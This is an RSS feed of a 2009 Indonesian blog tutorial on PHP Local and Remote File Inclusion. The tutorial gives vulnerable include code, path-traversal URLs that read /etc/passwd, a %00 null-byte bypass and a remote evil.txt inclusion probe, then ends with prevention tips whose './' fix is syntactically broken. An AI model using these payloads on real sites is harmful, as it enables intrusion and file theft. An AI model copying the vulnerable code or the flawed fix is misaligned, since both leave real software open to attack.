<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>adhit.web.id™ &#187; Web Hacking</title>
	<atom:link href="http://adhit.web.id/tag/web-hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://adhit.web.id</link>
	<description>my daily unix notes</description>
	<lastBuildDate>Tue, 06 Sep 2011 13:50:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://adhit.web.id</link>
<url>http://adhit.web.id/wp-content/plugins/maxblogpress-favicon/icons/favicon-56.ico</url>
<title>adhit.web.id™</title>
</image>
		<item>
		<title>Local File Inclusion (LFI) dan Remote File Inclusion (RFI)</title>
		<link>http://adhit.web.id/local-file-inclusion-lfi-dan-remote-file-inclusion-rfi/</link>
		<comments>http://adhit.web.id/local-file-inclusion-lfi-dan-remote-file-inclusion-rfi/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 08:53:21 +0000</pubDate>
		<dc:creator>adhit</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[Web Hacking]]></category>

		<guid isPermaLink="false">http://adhit.web.id/?p=410</guid>
		<description><![CDATA[LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL. RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. Penjelasan Fungsi-fungsi yang dapat menyebabkan LFI/RFI: Kode: include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://adhit.web.id/wp-content/uploads/2009/08/hack_web.jpg"><img class="alignleft size-medium wp-image-411" title="hack_web" src="http://adhit.web.id/wp-content/uploads/2009/08/hack_web-280x300.jpg" alt="hack web 280x300 Local File Inclusion (LFI) dan Remote File Inclusion (RFI)" width="115" height="124" /></a>LFI (<em>Local File Inclusion</em>) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.</p>
<p style="text-align: justify;">RFI (<em>Remote File Inclusion</em>) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.</p>
<p style="text-align: justify;"><strong>Penjelasan</strong></p>
<p style="text-align: justify;">Fungsi-fungsi yang dapat menyebabkan LFI/RFI:</p>
<p style="text-align: justify;">Kode:</p>
<blockquote style="text-align: justify;"><p>include();</p>
<p>include_once();</p>
<p>require();</p>
<p>require_once();</p></blockquote>
<p style="text-align: justify;"><span id="more-410"></span>Dengan syarat pada konfigurasi php di server:</p>
<blockquote style="text-align: justify;"><p>allow_url_include = on</p>
<p>allow_url_fopen = on</p>
<p>magic_quotes_gpc = off</p></blockquote>
<p style="text-align: justify;">contoh:</p>
<p style="text-align: justify;">misalkan kita punya file index.php dengan content kodenya seperti ini,</p>
<p style="text-align: justify;">Code:</p>
<blockquote style="text-align: justify;"><p>&lt;?php</p>
<p>include &#8220;../$_GET[imagefile]&#8220;;</p>
<p>?&gt;</p></blockquote>
<p style="text-align: justify;">misal $imagefile=image.php</p>
<p style="text-align: justify;">mungkin di url akan terlihat seperti ini bentuknya</p>
<p style="text-align: justify;">Code:</p>
<blockquote style="text-align: justify;"><p>http://www.[target].com/index.php?imagefile=image.php</p></blockquote>
<p style="text-align: justify;">maka script ini akan menampilkan halaman image.php.</p>
<p style="text-align: justify;">Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.</p>
<p style="text-align: justify;">Misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd &lt;&lt; dengan jumlah “../” itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.</p>
<p style="text-align: justify;">Tapi seandainya terdapat error seperti di bawah ini:</p>
<blockquote style="text-align: justify;"><p>Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2</p></blockquote>
<p style="text-align: justify;">Ternyata pada passwd ditambah dengan extensi “.php” berarti code yang digunakan untuk include adalah seperti ini:</p>
<p style="text-align: justify;">Kode:</p>
<blockquote style="text-align: justify;"><p>&lt;?php</p>
<p>include($_GET[imagefile].&#8221;.php&#8221;);</p>
<p>?&gt;</p></blockquote>
<p style="text-align: justify;">Untuk dapat mengelabui script tersebut kita bisa menggunakan %00 (dengan syarat <em>magic_quotes_gpc = off</em>) jadi dibelakang /etc/passwd kita tambahkan %00 seperti</p>
<blockquote style="text-align: justify;"><p>http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd%00</p></blockquote>
<p style="text-align: justify;">lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd.</p>
<p style="text-align: justify;">* %00 ini disebut <em>null injection</em>.</p>
<p style="text-align: justify;">Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:</p>
<blockquote style="text-align: justify;"><p>http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt</p></blockquote>
<p style="text-align: justify;">dengan file evil.txt misal berisi “hacked by H4CK3R”</p>
<p style="text-align: justify;">jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.</p>
<p style="text-align: justify;"><strong>Pencegahan</strong></p>
<p style="text-align: justify;">Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu</p>
<p style="text-align: justify;">1. Memvalidasi variable.</p>
<p style="text-align: justify;">2. Mengkonfigurasi kembali settingan php pada server website Anda.</p>
<blockquote style="text-align: justify;"><p>allow_url_include = off</p>
<p>allow_url_fopen = off</p>
<p>magic_quotes_gpc = on</p></blockquote>
<p style="text-align: justify;">3. pada include mungkin bisa ditambahkan “./”</p>
<p style="text-align: justify;">jadinya seperti ini,</p>
<p style="text-align: justify;">Code:</p>
<blockquote style="text-align: justify;"><p>include(&#8220;./&#8221;$_GET[imagefile].&#8221;.php&#8221;);</p></blockquote>
<p style="text-align: justify;">maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.</p>
<blockquote style="text-align: justify;"><p>http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt</p></blockquote>
<p style="text-align: justify;">Dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.</p>
]]></content:encoded>
			<wfw:commentRss>http://adhit.web.id/local-file-inclusion-lfi-dan-remote-file-inclusion-rfi/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss>

